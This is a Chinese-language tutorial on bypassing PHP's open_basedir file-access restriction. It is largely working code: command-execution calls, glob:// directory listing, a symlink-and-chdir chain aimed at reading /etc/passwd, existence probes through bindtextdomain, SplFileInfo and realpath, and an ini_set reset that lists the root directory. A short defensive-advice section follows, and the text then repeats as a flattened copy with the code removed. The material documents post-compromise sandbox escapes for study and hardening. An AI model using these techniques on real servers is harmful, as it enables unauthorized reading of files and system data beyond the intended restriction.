从0学习bypass open_basedir姿势
字数 1351 2025-08-03 16:43:07

Bypass open_basedir 技术全面解析

1. open_basedir 简介

open_basedir 是 PHP 配置选项,用于限制用户访问文件的活动范围:

  • 在 php.ini 中设置,如 open_basedir=/var/www/html/
  • 限制用户只能访问指定目录及其子目录
  • 对 webshell 工具的文件访问有限制作用

2. 绕过技术详解

2.1 使用系统命令函数

原理:open_basedir 对命令执行函数没有限制

可用函数

  • system()
  • 其他未被禁用的命令执行函数(如 exec(), shell_exec() 等)

示例

system("ls /");

注意:可能受 disable_functions 限制

2.2 使用 glob:// 伪协议

glob:// 特性

  • 查找匹配的文件路径模式
  • PHP 5.3.0+ 支持
  • 需配合其他函数使用

2.2.1 DirectoryIterator + glob://

$c = $_GET['c'];
$a = new DirectoryIterator($c);
foreach($a as $f){
    echo($f->__toString().'<br>');
}

2.2.2 opendir() + readdir() + glob://

$a = $_GET['c'];
if($b = opendir($a)){
    while(($file = readdir($b)) !== false){
        echo $file."<br>";
    }
    closedir($b);
}

限制

  • 只能列出根目录和 open_basedir 允许目录下的文件
  • PHP7 可使用 glob:///*/www/../* 列举 /var

2.2.3 scandir() + glob://

$files = scandir('glob:///*');
print_r($files);

2.3 符号链接 (symlink) 绕过

原理:利用符号链接和目录跳转突破限制

POC

mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D", "SD");
symlink("SD/etc/passwd", "POC");
unlink("SD");
mkdir("SD");

p牛 EXP

// 完整EXP见原文,支持自动生成多层目录和符号链接

2.4 bindtextdomain 和 SplFileInfo 方法

2.4.1 bindtextdomain

$re = bindtextdomain('xxx', $_GET['dir']);
var_dump($re);

原理:基于返回结果判断文件是否存在

2.4.2 SplFileInfo::getRealPath()

$info = new SplFileInfo($_GET['dir']);
var_dump($info->getRealPath());

原理:不存在的路径返回 false,存在的返回绝对路径,忽略 open_basedir

2.5 realpath 列目录 (Windows)

set_error_handler('isexists');
$dir = 'D:/5E/5EClient/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for($i=0;$i<strlen($chars);$i++){
    $file = $dir.$chars[$i].'<><';
    realpath($file);
}

原理:基于错误信息判断文件是否存在

2.6 chdir 与 ini_set 组合

mkdir('sub');
chdir('sub');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
var_dump(scandir('/'));

原理:通过修改工作目录和重设 open_basedir 突破限制

3. 技术总结

方法 适用环境 限制
系统命令 命令函数可用 disable_functions
glob:// PHP 5.3+ 只能列目录
symlink 支持符号链接 需要创建目录
bindtextdomain - 仅能探测存在性
SplFileInfo PHP 5.1.2+ 仅能探测存在性
realpath Windows 仅能探测存在性
chdir+ini_set - 需要执行权限

4. 防御建议

  1. 合理设置 open_basedir
  2. 禁用危险函数 (disable_functions)
  3. 限制目录创建和符号链接权限
  4. 定期更新 PHP 版本修复安全漏洞

5. 参考资源

  1. 浅谈几种Bypass open_basedir的方法
  2. PHP bypass open_basedir
  3. 从PHP底层看open_basedir bypass
Bypass open_ basedir 技术全面解析 1. open_ basedir 简介 open_ basedir 是 PHP 配置选项,用于限制用户访问文件的活动范围: 在 php.ini 中设置,如 open_basedir=/var/www/html/ 限制用户只能访问指定目录及其子目录 对 webshell 工具的文件访问有限制作用 2. 绕过技术详解 2.1 使用系统命令函数 原理 :open_ basedir 对命令执行函数没有限制 可用函数 : system() 其他未被禁用的命令执行函数(如 exec() , shell_exec() 等) 示例 : 注意 :可能受 disable_functions 限制 2.2 使用 glob:// 伪协议 glob:// 特性 : 查找匹配的文件路径模式 PHP 5.3.0+ 支持 需配合其他函数使用 2.2.1 DirectoryIterator + glob:// 2.2.2 opendir() + readdir() + glob:// 限制 : 只能列出根目录和 open_ basedir 允许目录下的文件 PHP7 可使用 glob:///*/www/../* 列举 /var 2.2.3 scandir() + glob:// 2.3 符号链接 (symlink) 绕过 原理 :利用符号链接和目录跳转突破限制 POC : p牛 EXP : 2.4 bindtextdomain 和 SplFileInfo 方法 2.4.1 bindtextdomain 原理 :基于返回结果判断文件是否存在 2.4.2 SplFileInfo::getRealPath() 原理 :不存在的路径返回 false,存在的返回绝对路径,忽略 open_ basedir 2.5 realpath 列目录 (Windows) 原理 :基于错误信息判断文件是否存在 2.6 chdir 与 ini_ set 组合 原理 :通过修改工作目录和重设 open_ basedir 突破限制 3. 技术总结 | 方法 | 适用环境 | 限制 | |------|----------|------| | 系统命令 | 命令函数可用 | disable_ functions | | glob:// | PHP 5.3+ | 只能列目录 | | symlink | 支持符号链接 | 需要创建目录 | | bindtextdomain | - | 仅能探测存在性 | | SplFileInfo | PHP 5.1.2+ | 仅能探测存在性 | | realpath | Windows | 仅能探测存在性 | | chdir+ini_ set | - | 需要执行权限 | 4. 防御建议 合理设置 open_ basedir 禁用危险函数 (disable_ functions) 限制目录创建和符号链接权限 定期更新 PHP 版本修复安全漏洞 5. 参考资源 浅谈几种Bypass open_ basedir的方法 PHP bypass open_ basedir 从PHP底层看open_ basedir bypass